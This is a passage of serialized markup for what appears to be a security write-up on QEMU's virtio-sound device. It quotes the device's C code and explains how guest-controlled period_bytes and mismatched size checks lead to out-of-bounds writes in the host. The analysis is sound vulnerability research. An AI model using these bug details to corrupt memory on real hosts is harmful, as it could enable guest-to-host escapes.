}\n}\n",[1186],{"type":24,"tag":80,"props":1187,"children":1188},{"__ignoreMap":7},[1189,1196,1204,1211,1219,1227,1234,1286,1293,1319,1336,1348,1355,1387,1433,1474,1481,1489,1496,1521,1550,1574,1582,1594,1634,1647,1659,1667,1714,1752,1797,1818,1838,1858,1869,1876,1900,1918,1927,1936,1944,1953],{"type":24,"tag":147,"props":1190,"children":1191},{"class":149,"line":150},[1192],{"type":24,"tag":147,"props":1193,"children":1194},{"style":154},[1195],{"type":29,"value":157},{"type":24,"tag":147,"props":1197,"children":1198},{"class":149,"line":160},[1199],{"type":24,"tag":147,"props":1200,"children":1201},{"style":154},[1202],{"type":29,"value":1203}," * AUD_* input callback.\n",{"type":24,"tag":147,"props":1205,"children":1206},{"class":149,"line":169},[1207],{"type":24,"tag":147,"props":1208,"children":1209},{"style":154},[1210],{"type":29,"value":184},{"type":24,"tag":147,"props":1212,"children":1213},{"class":149,"line":178},[1214],{"type":24,"tag":147,"props":1215,"children":1216},{"style":154},[1217],{"type":29,"value":1218}," * @data: VirtIOSoundPCMStream stream\n",{"type":24,"tag":147,"props":1220,"children":1221},{"class":149,"line":187},[1222],{"type":24,"tag":147,"props":1223,"children":1224},{"style":154},[1225],{"type":29,"value":1226}," * @available: number of bytes that can be read with AUD_read()\n",{"type":24,"tag":147,"props":1228,"children":1229},{"class":149,"line":196},[1230],{"type":24,"tag":147,"props":1231,"children":1232},{"style":154},[1233],{"type":29,"value":211},{"type":24,"tag":147,"props":1235,"children":1236},{"class":149,"line":205},[1237,1241,1245,1250,1254,1259,1264,1268,1272,1277,1282],{"type":24,"tag":147,"props":1238,"children":1239},{"style":218},[1240],{"type":29,"value":221},{"type":24,"tag":147,"props":1242,"children":1243},{"style":218},[1244],{"type":29,"value":226},{"type":24,"tag":147,"props":1246,"children":1247},{"style":229},[1248],{"type":29,"value":1249}," virtio_snd_pcm_in_cb",{"type":24,"tag":147,"props":1251,"children":1252},{"style":235},[1253],{"type":29,"value":480},{"type":24,"tag":147,"props":1255,"children":1256},{"style":218},[1257],{"type":29,"value":1258},"void",{"type":24,"tag":147,"props":1260,"children":1261},{"style":241},[1262],{"type":29,"value":1263}," *",{"type":24,"tag":147,"props":1265,"children":1266},{"style":247},[1267],{"type":29,"value":1139},{"type":24,"tag":147,"props":1269,"children":1270},{"style":235},[1271],{"type":29,"value":546},{"type":24,"tag":147,"props":1273,"children":1274},{"style":218},[1275],{"type":29,"value":1276},"int",{"type":24,"tag":147,"props":1278,"children":1279},{"style":247},[1280],{"type":29,"value":1281}," available",{"type":24,"tag":147,"props":1283,"children":1284},{"style":235},[1285],{"type":29,"value":269},{"type":24,"tag":147,"props":1287,"children":1288},{"class":149,"line":214},[1289],{"type":24,"tag":147,"props":1290,"children":1291},{"style":235},[1292],{"type":29,"value":278},{"type":24,"tag":147,"props":1294,"children":1295},{"class":149,"line":272},[1296,1301,1305,1310,1314],{"type":24,"tag":147,"props":1297,"children":1298},{"style":235},[1299],{"type":29,"value":1300},"    VirtIOSoundPCMStream ",{"type":24,"tag":147,"props":1302,"children":1303},{"style":241},[1304],{"type":29,"value":244},{"type":24,"tag":147,"props":1306,"children":1307},{"style":235},[1308],{"type":29,"value":1309},"stream ",{"type":24,"tag":147,"props":1311,"children":1312},{"style":241},[1313],{"type":29,"value":369},{"type":24,"tag":147,"props":1315,"children":1316},{"style":235},[1317],{"type":29,"value":1318}," data;\n",{"type":24,"tag":147,"props":1320,"children":1321},{"class":149,"line":281},[1322,1327,1331],{"type":24,"tag":147,"props":1323,"children":1324},{"style":235},[1325],{"type":29,"value":1326},"    VirtIOSoundPCMBuffer ",{"type":24,"tag":147,"props":1328,"children":1329},{"style":241},[1330],{"type":29,"value":244},{"type":24,"tag":147,"props":1332,"children":1333},{"style":235},[1334],{"type":29,"value":1335},"buffer;\n",{"type":24,"tag":147,"props":1337,"children":1338},{"class":149,"line":299},[1339,1343],{"type":24,"tag":147,"props":1340,"children":1341},{"style":218},[1342],{"type":29,"value":1051},{"type":24,"tag":147,"props":1344,"children":1345},{"style":235},[1346],{"type":29,"value":1347}," size, max_size;\n",{"type":24,"tag":147,"props":1349,"children":1350},{"class":149,"line":308},[1351],{"type":24,"tag":147,"props":1352,"children":1353},{"emptyLinePlaceholder":16},[1354],{"type":29,"value":314},{"type":24,"tag":147,"props":1356,"children":1357},{"class":149,"line":317},[1358,1363,1367,1371,1375,1379,1383],{"type":24,"tag":147,"props":1359,"children":1360},{"style":229},[1361],{"type":29,"value":1362},"    WITH_QEMU_LOCK_GUARD",{"type":24,"tag":147,"props":1364,"children":1365},{"style":235},[1366],{"type":29,"value":480},{"type":24,"tag":147,"props":1368,"children":1369},{"style":241},[1370],{"type":29,"value":485},{"type":24,"tag":147,"props":1372,"children":1373},{"style":247},[1374],{"type":29,"value":490},{"type":24,"tag":147,"props":1376,"children":1377},{"style":235},[1378],{"type":29,"value":495},{"type":24,"tag":147,"props":1380,"children":1381},{"style":247},[1382],{"type":29,"value":500},{"type":24,"tag":147,"props":1384,"children":1385},{"style":235},[1386],{"type":29,"value":505},{"type":24,"tag":147,"props":1388,"children":1389},{"class":149,"line":332},[1390,1395,1399,1403,1408,1412,1416,1420,1424,1428],{"type":24,"tag":147,"props":1391,"children":1392},{"style":321},[1393],{"type":29,"value":1394},"        while",{"type":24,"tag":147,"props":1396,"children":1397},{"style":235},[1398],{"type":29,"value":408},{"type":24,"tag":147,"props":1400,"children":1401},{"style":241},[1402],{"type":29,"value":413},{"type":24,"tag":147,"props":1404,"children":1405},{"style":229},[1406],{"type":29,"value":1407},"QSIMPLEQ_EMPTY",{"type":24,"tag":147,"props":1409,"children":1410},{"style":235},[1411],{"type":29,"value":480},{"type":24,"tag":147,"props":1413,"children":1414},{"style":241},[1415],{"type":29,"value":485},{"type":24,"tag":147,"props":1417,"children":1418},{"style":247},[1419],{"type":29,"value":490},{"type":24,"tag":147,"props":1421,"children":1422},{"style":235},[1423],{"type":29,"value":495},{"type":24,"tag":147,"props":1425,"children":1426},{"style":247},[1427],{"type":29,"value":771},{"type":24,"tag":147,"props":1429,"children":1430},{"style":235},[1431],{"type":29,"value":1432},")) {\n",{"type":24,"tag":147,"props":1434,"children":1435},{"class":149,"line":350},[1436,1440,1444,1449,1453,1457,1461,1465,1469],{"type":24,"tag":147,"props":1437,"children":1438},{"style":235},[1439],{"type":29,"value":597},{"type":24,"tag":147,"props":1441,"children":1442},{"style":241},[1443],{"type":29,"value":369},{"type":24,"tag":147,"props":1445,"children":1446},{"style":229},[1447],{"type":29,"value":1448}," QSIMPLEQ_FIRST",{"type":24,"tag":147,"props":1450,"children":1451},{"style":235},[1452],{"type":29,"value":480},{"type":24,"tag":147,"props":1454,"children":1455},{"style":241},[1456],{"type":29,"value":485},{"type":24,"tag":147,"props":1458,"children":1459},{"style":247},[1460],{"type":29,"value":490},{"type":24,"tag":147,"props":1462,"children":1463},{"style":235},[1464],{"type":29,"value":495},{"type":24,"tag":147,"props":1466,"children":1467},{"style":247},[1468],{"type":29,"value":771},{"type":24,"tag":147,"props":1470,"children":1471},{"style":235},[1472],{"type":29,"value":1473},");\n",{"type":24,"tag":147,"props":1475,"children":1476},{"class":149,"line":358},[1477],{"type":24,"tag":147,"props":1478,"children":1479},{"emptyLinePlaceholder":16},[1480],{"type":29,"value":314},{"type":24,"tag":147,"props":1482,"children":1483},{"class":149,"line":397},[1484],{"type":24,"tag":147,"props":1485,"children":1486},{"style":235},[1487],{"type":29,"value":1488},"            [...]\n",{"type":24,"tag":147,"props":1490,"children":1491},{"class":149,"line":421},[1492],{"type":24,"tag":147,"props":1493,"children":1494},{"emptyLinePlaceholder":16},[1495],{"type":29,"value":314},{"type":24,"tag":147,"props":1497,"children":1498},{"class":149,"line":435},[1499,1504,1508,1512,1516],{"type":24,"tag":147,"props":1500,"children":1501},{"style":235},[1502],{"type":29,"value":1503},"            max_size ",{"type":24,"tag":147,"props":1505,"children":1506},{"style":241},[1507],{"type":29,"value":369},{"type":24,"tag":147,"props":1509,"children":1510},{"style":229},[1511],{"type":29,"value":523},{"type":24,"tag":147,"props":1513,"children":1514},{"style":235},[1515],{"type":29,"value":480},{"type":24,"tag":147,"props":1517,"children":1518},{"style":154},[1519],{"type":29,"value":1520},"                    // [1]\n",{"type":24,"tag":147,"props":1522,"children":1523},{"class":149,"line":444},[1524,1529,1533,1537,1541,1545],{"type":24,"tag":147,"props":1525,"children":1526},{"style":247},[1527],{"type":29,"value":1528},"                buffer",{"type":24,"tag":147,"props":1530,"children":1531},{"style":235},[1532],{"type":29,"value":495},{"type":24,"tag":147,"props":1534,"children":1535},{"style":247},[1536],{"type":29,"value":532},{"type":24,"tag":147,"props":1538,"children":1539},{"style":235},[1540],{"type":29,"value":495},{"type":24,"tag":147,"props":1542,"children":1543},{"style":247},[1544],{"type":29,"value":541},{"type":24,"tag":147,"props":1546,"children":1547},{"style":235},[1548],{"type":29,"value":1549},",\n",{"type":24,"tag":147,"props":1551,"children":1552},{"class":149,"line":452},[1553,1557,1561,1565,1569],{"type":24,"tag":147,"props":1554,"children":1555},{"style":247},[1556],{"type":29,"value":1528},{"type":24,"tag":147,"props":1558,"children":1559},{"style":235},[1560],{"type":29,"value":495},{"type":24,"tag":147,"props":1562,"children":1563},{"style":247},[1564],{"type":29,"value":532},{"type":24,"tag":147,"props":1566,"children":1567},{"style":235},[1568],{"type":29,"value":495},{"type":24,"tag":147,"props":1570,"children":1571},{"style":247},[1572],{"type":29,"value":1573},"in_num\n",{"type":24,"tag":147,"props":1575,"children":1576},{"class":149,"line":461},[1577],{"type":24,"tag":147,"props":1578,"children":1579},{"style":235},[1580],{"type":29,"value":1581},"            );\n",{"type":24,"tag":147,"props":1583,"children":1584},{"class":149,"line":469},[1585,1590],{"type":24,"tag":147,"props":1586,"children":1587},{"style":321},[1588],{"type":29,"value":1589},"            for",{"type":24,"tag":147,"props":1591,"children":1592},{"style":235},[1593],{"type":29,"value":329},{"type":24,"tag":147,"props":1595,"children":1596},{"class":149,"line":508},[1597,1602,1606,1611,1615,1619,1624,1629],{"type":24,"tag":147,"props":1598,"children":1599},{"style":321},[1600],{"type":29,"value":1601},"                if",{"type":24,"tag":147,"props":1603,"children":1604},{"style":235},[1605],{"type":29,"value":408},{"type":24,"tag":147,"props":1607,"children":1608},{"style":247},[1609],{"type":29,"value":1610},"buffer",{"type":24,"tag":147,"props":1612,"children":1613},{"style":235},[1614],{"type":29,"value":495},{"type":24,"tag":147,"props":1616,"children":1617},{"style":247},[1618],{"type":29,"value":698},{"type":24,"tag":147,"props":1620,"children":1621},{"style":241},[1622],{"type":29,"value":1623}," >=",{"type":24,"tag":147,"props":1625,"children":1626},{"style":235},[1627],{"type":29,"value":1628}," max_size) {",{"type":24,"tag":147,"props":1630,"children":1631},{"style":154},[1632],{"type":29,"value":1633},"     // [2]\n",{"type":24,"tag":147,"props":1635,"children":1636},{"class":149,"line":572},[1637,1642],{"type":24,"tag":147,"props":1638,"children":1639},{"style":229},[1640],{"type":29,"value":1641},"                    return_rx_buffer",{"type":24,"tag":147,"props":1643,"children":1644},{"style":235},[1645],{"type":29,"value":1646},"(stream, buffer);\n",{"type":24,"tag":147,"props":1648,"children":1649},{"class":149,"line":591},[1650,1655],{"type":24,"tag":147,"props":1651,"children":1652},{"style":321},[1653],{"type":29,"value":1654},"                    break",{"type":24,"tag":147,"props":1656,"children":1657},{"style":235},[1658],{"type":29,"value":432},{"type":24,"tag":147,"props":1660,"children":1661},{"class":149,"line":632},[1662],{"type":24,"tag":147,"props":1663,"children":1664},{"style":235},[1665],{"type":29,"value":1666},"                }\n",{"type":24,"tag":147,"props":1668,"children":1669},{"class":149,"line":659},[1670,1675,1679,1684,1688,1692,1696,1701,1705,1710],{"type":24,"tag":147,"props":1671,"children":1672},{"style":235},[1673],{"type":29,"value":1674},"                size ",{"type":24,"tag":147,"props":1676,"children":1677},{"style":241},[1678],{"type":29,"value":369},{"type":24,"tag":147,"props":1680,"children":1681},{"style":229},[1682],{"type":29,"value":1683}," AUD_read",{"type":24,"tag":147,"props":1685,"children":1686},{"style":235},[1687],{"type":29,"value":480},{"type":24,"tag":147,"props":1689,"children":1690},{"style":247},[1691],{"type":29,"value":490},{"type":24,"tag":147,"props":1693,"children":1694},{"style":235},[1695],{"type":29,"value":495},{"type":24,"tag":147,"props":1697,"children":1698},{"style":247},[1699],{"type":29,"value":1700},"voice",{"type":24,"tag":147,"props":1702,"children":1703},{"style":235},[1704],{"type":29,"value":87},{"type":24,"tag":147,"props":1706,"children":1707},{"style":247},[1708],{"type":29,"value":1709},"in",{"type":24,"tag":147,"props":1711,"children":1712},{"style":235},[1713],{"type":29,"value":1549},{"type":24,"tag":147,"props":1715,"children":1716},{"class":149,"line":684},[1717,1722,1726,1730,1735,1740,1744,1748],{"type":24,"tag":147,"props":1718,"children":1719},{"style":247},[1720],{"type":29,"value":1721},"                        buffer",{"type":24,"tag":147,"props":1723,"children":1724},{"style":235},[1725],{"type":29,"value":495},{"type":24,"tag":147,"props":1727,"children":1728},{"style":247},[1729],{"type":29,"value":1139},{"type":24,"tag":147,"props":1731,"children":1732},{"style":241},[1733],{"type":29,"value":1734}," +",{"type":24,"tag":147,"props":1736,"children":1737},{"style":247},[1738],{"type":29,"value":1739}," buffer",{"type":24,"tag":147,"props":1741,"children":1742},{"style":235},[1743],{"type":29,"value":495},{"type":24,"tag":147,"props":1745,"children":1746},{"style":247},[1747],{"type":29,"value":698},{"type":24,"tag":147,"props":1749,"children":1750},{"style":235},[1751],{"type":29,"value":1549},{"type":24,"tag":147,"props":1753,"children":1754},{"class":149,"line":715},[1755,1760,1765,1769,1773,1778,1782,1787,1792],{"type":24,"tag":147,"props":1756,"children":1757},{"style":229},[1758],{"type":29,"value":1759},"                        MIN",{"type":24,"tag":147,"props":1761,"children":1762},{"style":235},[1763],{"type":29,"value":1764},"(available, (",{"type":24,"tag":147,"props":1766,"children":1767},{"style":247},[1768],{"type":29,"value":490},{"type":24,"tag":147,"props":1770,"children":1771},{"style":235},[1772],{"type":29,"value":495},{"type":24,"tag":147,"props":1774,"children":1775},{"style":247},[1776],{"type":29,"value":1777},"params",{"type":24,"tag":147,"props":1779,"children":1780},{"style":235},[1781],{"type":29,"value":87},{"type":24,"tag":147,"props":1783,"children":1784},{"style":247},[1785],{"type":29,"value":1786},"period_bytes",{"type":24,"tag":147,"props":1788,"children":1789},{"style":241},[1790],{"type":29,"value":1791}," -",{"type":24,"tag":147,"props":1793,"children":1794},{"style":154},[1795],{"type":29,"value":1796},"     // [3]\n",{"type":24,"tag":147,"props":1798,"children":1799},{"class":149,"line":744},[1800,1805,1809,1813],{"type":24,"tag":147,"props":1801,"children":1802},{"style":247},[1803],{"type":29,"value":1804},"                                        buffer",{"type":24,"tag":147,"props":1806,"children":1807},{"style":235},[1808],{"type":29,"value":495},{"type":24,"tag":147,"props":1810,"children":1811},{"style":247},[1812],{"type":29,"value":698},{"type":24,"tag":147,"props":1814,"children":1815},{"style":235},[1816],{"type":29,"value":1817},")));\n",{"type":24,"tag":147,"props":1819,"children":1820},{"class":149,"line":784},[1821,1825,1829,1833],{"type":24,"tag":147,"props":1822,"children":1823},{"style":321},[1824],{"type":29,"value":1601},{"type":24,"tag":147,"props":1826,"children":1827},{"style":235},[1828],{"type":29,"value":408},{"type":24,"tag":147,"props":1830,"children":1831},{"style":241},[1832],{"type":29,"value":413},{"type":24,"tag":147,"props":1834,"children":1835},{"style":235},[1836],{"type":29,"value":1837},"size) {\n",{"type":24,"tag":147,"props":1839,"children":1840},{"class":149,"line":792},[1841,1846,1850,1854],{"type":24,"tag":147,"props":1842,"children":1843},{"style":235},[1844],{"type":29,"value":1845},"                    available ",{"type":24,"tag":147,"props":1847,"children":1848},{"style":241},[1849],{"type":29,"value":369},{"type":24,"tag":147,"props":1851,"children":1852},{"style":705},[1853],{"type":29,"value":708},{"type":24,"tag":147,"props":1855,"children":1856},{"style":235},[1857],{"type":29,"value":432},{"type":24,"tag":147,"props":1859,"children":1860},{"class":149,"line":805},[1861,1865],{"type":24,"tag":147,"props":1862,"children":1863},{"style":321},[1864],{"type":29,"value":1654},{"type":24,"tag":147,"props":1866,"children":1867},{"style":235},[1868],{"type":29,"value":432},{"type":24,"tag":147,"props":1870,"children":1871},{"class":149,"line":813},[1872],{"type":24,"tag":147,"props":1873,"children":1874},{"style":235},[1875],{"type":29,"value":1666},{"type":24,"tag":147,"props":1877,"children":1878},{"class":149,"line":821},[1879,1883,1887,1891,1896],{"type":24,"tag":147,"props":1880,"children":1881},{"style":247},[1882],{"type":29,"value":1528},{"type":24,"tag":147,"props":1884,"children":1885},{"style":235},[1886],{"type":29,"value":495},{"type":24,"tag":147,"props":1888,"children":1889},{"style":247},[1890],{"type":29,"value":698},{"type":24,"tag":147,"props":1892,"children":1893},{"style":241},[1894],{"type":29,"value":1895}," +=",{"type":24,"tag":147,"props":1897,"children":1898},{"style":235},[1899],{"type":29,"value":1056},{"type":24,"tag":147,"props":1901,"children":1903},{"class":149,"line":1902},37,[1904,1909,1914],{"type":24,"tag":147,"props":1905,"children":1906},{"style":235},[1907],{"type":29,"value":1908},"                available ",{"type":24,"tag":147,"props":1910,"children":1911},{"style":241},[1912],{"type":29,"value":1913},"-=",{"type":24,"tag":147,"props":1915,"children":1916},{"style":235},[1917],{"type":29,"value":1056},{"type":24,"tag":147,"props":1919,"children":1921},{"class":149,"line":1920},38,[1922],{"type":24,"tag":147,"props":1923,"children":1924},{"style":235},[1925],{"type":29,"value":1926},"                [...]\n",{"type":24,"tag":147,"props":1928,"children":1930},{"class":149,"line":1929},39,[1931],{"type":24,"tag":147,"props":1932,"children":1933},{"style":235},[1934],{"type":29,"value":1935},"            }\n",{"type":24,"tag":147,"props":1937,"children":1939},{"class":149,"line":1938},40,[1940],{"type":24,"tag":147,"props":1941,"children":1942},{"style":235},[1943],{"type":29,"value":441},{"type":24,"tag":147,"props":1945,"children":1947},{"class":149,"line":1946},41,[1948],{"type":24,"tag":147,"props":1949,"children":1950},{"style":235},[1951],{"type":29,"value":1952},"    }\n",{"type":24,"tag":147,"props":1954,"children":1956},{"class":149,"line":1955},42,[1957],{"type":24,"tag":147,"props":1958,"children":1959},{"style":235},[1960],{"type":29,"value":827},{"type":24,"tag":25,"props":1962,"children":1963},{},[1964,1965,1970,1971,1977,1979,1985,1987,1992,1993,1998,2000,2005],{"type":29,"value":832},{"type":24,"tag":80,"props":1966,"children":1968},{"className":1967},[],[1969],{"type":29,"value":838},{"type":29,"value":546},{"type":24,"tag":80,"props":1972,"children":1974},{"className":1973},[],[1975],{"type":29,"value":1976},"max_size",{"type":29,"value":1978}," is set to ",{"type":24,"tag":80,"props":1980,"children":1982},{"className":1981},[],[1983],{"type":29,"value":1984},"iov_size(in_sg, in_num)",{"type":29,"value":1986},". Both ",{"type":24,"tag":80,"props":1988,"children":1990},{"className":1989},[],[1991],{"type":29,"value":541},{"type":29,"value":855},{"type":24,"tag":80,"props":1994,"children":1996},{"className":1995},[],[1997],{"type":29,"value":559},{"type":29,"value":1999}," are the same guest-controlled fields from ",{"type":24,"tag":80,"props":2001,"children":2003},{"className":2002},[],[2004],{"type":29,"value":133},{"type":29,"value":87},{"type":24,"tag":25,"props":2007,"children":2008},{},[2009,2011,2016,2018,2024,2026,2032,2034,2040],{"type":29,"value":2010},"Later, at ",{"type":24,"tag":80,"props":2012,"children":2014},{"className":2013},[],[2015],{"type":29,"value":874},{"type":29,"value":2017},", the code checks whether ",{"type":24,"tag":80,"props":2019,"children":2021},{"className":2020},[],[2022],{"type":29,"value":2023},"buffer->size >= max_size",{"type":29,"value":2025},". In the RX path, ",{"type":24,"tag":80,"props":2027,"children":2029},{"className":2028},[],[2030],{"type":29,"value":2031},"buffer->size",{"type":29,"value":2033}," tracks how many bytes have been written into ",{"type":24,"tag":80,"props":2035,"children":2037},{"className":2036},[],[2038],{"type":29,"value":2039},"buffer->data",{"type":29,"value":2041},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":24,"tag":25,"props":2043,"children":2044},{},[2045,2047,2052,2054,2060,2062,2067,2069,2075],{"type":29,"value":2046},"However, this does not match the allocation logic in ",{"type":24,"tag":80,"props":2048,"children":2050},{"className":2049},[],[2051],{"type":29,"value":133},{"type":29,"value":2053},", which used: ",{"type":24,"tag":80,"props":2055,"children":2057},{"className":2056},[],[2058],{"type":29,"value":2059},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":29,"value":2061},". In other words, the allocation subtracts ",{"type":24,"tag":80,"props":2063,"children":2065},{"className":2064},[],[2066],{"type":29,"value":940},{"type":29,"value":2068},", but the later bound in ",{"type":24,"tag":80,"props":2070,"children":2072},{"className":2071},[],[2073],{"type":29,"value":2074},"virtio_snd_pcm_in_cb",{"type":29,"value":2076}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":24,"tag":25,"props":2078,"children":2079},{},[2080,2082,2087,2089,2095,2097,2103,2105,2110,2112,2118,2120,2126,2128,2133,2135,2140],{"type":29,"value":2081},"Finally, at ",{"type":24,"tag":80,"props":2083,"children":2085},{"className":2084},[],[2086],{"type":29,"value":898},{"type":29,"value":2088},", the code calls ",{"type":24,"tag":80,"props":2090,"children":2092},{"className":2091},[],[2093],{"type":29,"value":2094},"AUD_read",{"type":29,"value":2096}," with the following limit:\n",{"type":24,"tag":80,"props":2098,"children":2100},{"className":2099},[],[2101],{"type":29,"value":2102},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":29,"value":2104},". Notice how this bound does not take ",{"type":24,"tag":80,"props":2106,"children":2108},{"className":2107},[],[2109],{"type":29,"value":1976},{"type":29,"value":2111}," into account at all. That means if ",{"type":24,"tag":80,"props":2113,"children":2115},{"className":2114},[],[2116],{"type":29,"value":2117},"available",{"type":29,"value":2119}," is larger than the allocated buffer, and ",{"type":24,"tag":80,"props":2121,"children":2123},{"className":2122},[],[2124],{"type":29,"value":2125},"stream->params.period_bytes",{"type":29,"value":2127}," is also larger than the allocated buffer, ",{"type":24,"tag":80,"props":2129,"children":2131},{"className":2130},[],[2132],{"type":29,"value":2094},{"type":29,"value":2134}," will write past the end of ",{"type":24,"tag":80,"props":2136,"children":2138},{"className":2137},[],[2139],{"type":29,"value":2039},{"type":29,"value":2141}," - the third, and final, bug we found.",{"type":24,"tag":25,"props":2143,"children":2144},{},[2145,2147,2152,2154,2160],{"type":29,"value":2146},"Looking further at the code, we can see that ",{"type":24,"tag":80,"props":2148,"children":2150},{"className":2149},[],[2151],{"type":29,"value":2125},{"type":29,"value":2153}," is fully guest-controlled by issuing a ",{"type":24,"tag":80,"props":2155,"children":2157},{"className":2156},[],[2158],{"type":29,"value":2159},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":29,"value":2161}," request:",{"type":24,"tag":137,"props":2163,"children":2165},{"code":2164,"language":140,"meta":7,"className":141,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n                                   uint32_t stream_id,\n                                   virtio_snd_pcm_set_params *params)\n{\n    virtio_snd_pcm_set_params *st_params;\n\n    [...]\n\n    st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n    [...]\n\n    st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n    st_params->period_bytes = le32_to_cpu(params->period_bytes);\n    st_params->features = le32_to_cpu(params->features);\n    /* the following are uint8_t, so there's no need to bswap the values. */\n    st_params->channels = params->channels;\n    st_params->format = params->format;\n    st_params->rate = params->rate;\n\n    return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[2166],{"type":24,"tag":80,"props":2167,"children":2168},{"__ignoreMap":7},[2169,2177,2208,2225,2245,2252,2269,2276,2283,2290,2312,2319,2326,2333,2379,2422,2466,2474,2511,2547,2583,2590,2608],{"type":24,"tag":147,"props":2170,"children":2171},{"class":149,"line":150},[2172],{"type":24,"tag":147,"props":2173,"children":2174},{"style":218},[2175],{"type":29,"value":2176},"static\n",{"type":24,"tag":147,"props":2178,"children":2179},{"class":149,"line":160},[2180,2185,2190,2195,2199,2204],{"type":24,"tag":147,"props":2181,"children":2182},{"style":218},[2183],{"type":29,"value":2184},"uint32_t",{"type":24,"tag":147,"props":2186,"children":2187},{"style":229},[2188],{"type":29,"value":2189}," virtio_snd_set_pcm_params",{"type":24,"tag":147,"props":2191,"children":2192},{"style":235},[2193],{"type":29,"value":2194},"(VirtIOSound ",{"type":24,"tag":147,"props":2196,"children":2197},{"style":241},[2198],{"type":29,"value":244},{"type":24,"tag":147,"props":2200,"children":2201},{"style":247},[2202],{"type":29,"value":2203},"s",{"type":24,"tag":147,"props":2205,"children":2206},{"style":235},[2207],{"type":29,"value":1549},{"type":24,"tag":147,"props":2209,"children":2210},{"class":149,"line":169},[2211,2216,2221],{"type":24,"tag":147,"props":2212,"children":2213},{"style":218},[2214],{"type":29,"value":2215},"                                   uint32_t",{"type":24,"tag":147,"props":2217,"children":2218},{"style":247},[2219],{"type":29,"value":2220}," stream_id",{"type":24,"tag":147,"props":2222,"children":2223},{"style":235},[2224],{"type":29,"value":1549},{"type":24,"tag":147,"props":2226,"children":2227},{"class":149,"line":178},[2228,2233,2237,2241],{"type":24,"tag":147,"props":2229,"children":2230},{"style":235},[2231],{"type":29,"value":2232},"                                   virtio_snd_pcm_set_params ",{"type":24,"tag":147,"props":2234,"children":2235},{"style":241},[2236],{"type":29,"value":244},{"type":24,"tag":147,"props":2238,"children":2239},{"style":247},[2240],{"type":29,"value":1777},{"type":24,"tag":147,"props":2242,"children":2243},{"style":235},[2244],{"type":29,"value":269},{"type":24,"tag":147,"props":2246,"children":2247},{"class":149,"line":187},[2248],{"type":24,"tag":147,"props":2249,"children":2250},{"style":235},[2251],{"type":29,"value":278},{"type":24,"tag":147,"props":2253,"children":2254},{"class":149,"line":196},[2255,2260,2264],{"type":24,"tag":147,"props":2256,"children":2257},{"style":235},[2258],{"type":29,"value":2259},"    virtio_snd_pcm_set_params ",{"type":24,"tag":147,"props":2261,"children":2262},{"style":241},[2263],{"type":29,"value":244},{"type":24,"tag":147,"props":2265,"children":2266},{"style":235},[2267],{"type":29,"value":2268},"st_params;\n",{"type":24,"tag":147,"props":2270,"children":2271},{"class":149,"line":205},[2272],{"type":24,"tag":147,"props":2273,"children":2274},{"emptyLinePlaceholder":16},[2275],{"type":29,"value":314},{"type":24,"tag":147,"props":2277,"children":2278},{"class":149,"line":214},[2279],{"type":24,"tag":147,"props":2280,"children":2281},{"style":235},[2282],{"type":29,"value":305},{"type":24,"tag":147,"props":2284,"children":2285},{"class":149,"line":272},[2286],{"type":24,"tag":147,"props":2287,"children":2288},{"emptyLinePlaceholder":16},[2289],{"type":29,"value":314},{"type":24,"tag":147,"props":2291,"children":2292},{"class":149,"line":281},[2293,2298,2302,2307],{"type":24,"tag":147,"props":2294,"children":2295},{"style":235},[2296],{"type":29,"value":2297},"    st_params ",{"type":24,"tag":147,"props":2299,"children":2300},{"style":241},[2301],{"type":29,"value":369},{"type":24,"tag":147,"props":2303,"children":2304},{"style":229},[2305],{"type":29,"value":2306}," virtio_snd_pcm_get_params",{"type":24,"tag":147,"props":2308,"children":2309},{"style":235},[2310],{"type":29,"value":2311},"(s, stream_id);\n",{"type":24,"tag":147,"props":2313,"children":2314},{"class":149,"line":299},[2315],{"type":24,"tag":147,"props":2316,"children":2317},{"emptyLinePlaceholder":16},[2318],{"type":29,"value":314},{"type":24,"tag":147,"props":2320,"children":2321},{"class":149,"line":308},[2322],{"type":24,"tag":147,"props":2323,"children":2324},{"style":235},[2325],{"type":29,"value":305},{"type":24,"tag":147,"props":2327,"children":2328},{"class":149,"line":317},[2329],{"type":24,"tag":147,"props":2330,"children":2331},{"emptyLinePlaceholder":16},[2332],{"type":29,"value":314},{"type":24,"tag":147,"props":2334,"children":2335},{"class":149,"line":332},[2336,2341,2345,2350,2354,2359,2363,2367,2371,2375],{"type":24,"tag":147,"props":2337,"children":2338},{"style":247},[2339],{"type":29,"value":2340},"    st_params",{"type":24,"tag":147,"props":2342,"children":2343},{"style":235},[2344],{"type":29,"value":495},{"type":24,"tag":147,"props":2346,"children":2347},{"style":247},[2348],{"type":29,"value":2349},"buffer_bytes",{"type":24,"tag":147,"props":2351,"children":2352},{"style":241},[2353],{"type":29,"value":651},{"type":24,"tag":147,"props":2355,"children":2356},{"style":229},[2357],{"type":29,"value":2358}," le32_to_cpu",{"type":24,"tag":147,"props":2360,"children":2361},{"style":235},[2362],{"type":29,"value":480},{"type":24,"tag":147,"props":2364,"children":2365},{"style":247},[2366],{"type":29,"value":1777},{"type":24,"tag":147,"props":2368,"children":2369},{"style":235},[2370],{"type":29,"value":495},{"type":24,"tag":147,"props":2372,"children":2373},{"style":247},[2374],{"type":29,"value":2349},{"type":24,"tag":147,"props":2376,"children":2377},{"style":235},[2378],{"type":29,"value":1473},{"type":24,"tag":147,"props":2380,"children":2381},{"class":149,"line":350},[2382,2386,2390,2394,2398,2402,2406,2410,2414,2418],{"type":24,"tag":147,"props":2383,"children":2384},{"style":247},[2385],{"type":29,"value":2340},{"type":24,"tag":147,"props":2387,"children":2388},{"style":235},[2389],{"type":29,"value":495},{"type":24,"tag":147,"props":2391,"children":2392},{"style":247},[2393],{"type":29,"value":1786},{"type":24,"tag":147,"props":2395,"children":2396},{"style":241},[2397],{"type":29,"value":651},{"type":24,"tag":147,"props":2399,"children":2400},{"style":229},[2401],{"type":29,"value":2358},{"type":24,"tag":147,"props":2403,"children":2404},{"style":235},[2405],{"type":29,"value":480},{"type":24,"tag":147,"props":2407,"children":2408},{"style":247},[2409],{"type":29,"value":1777},{"type":24,"tag":147,"props":2411,"children":2412},{"sty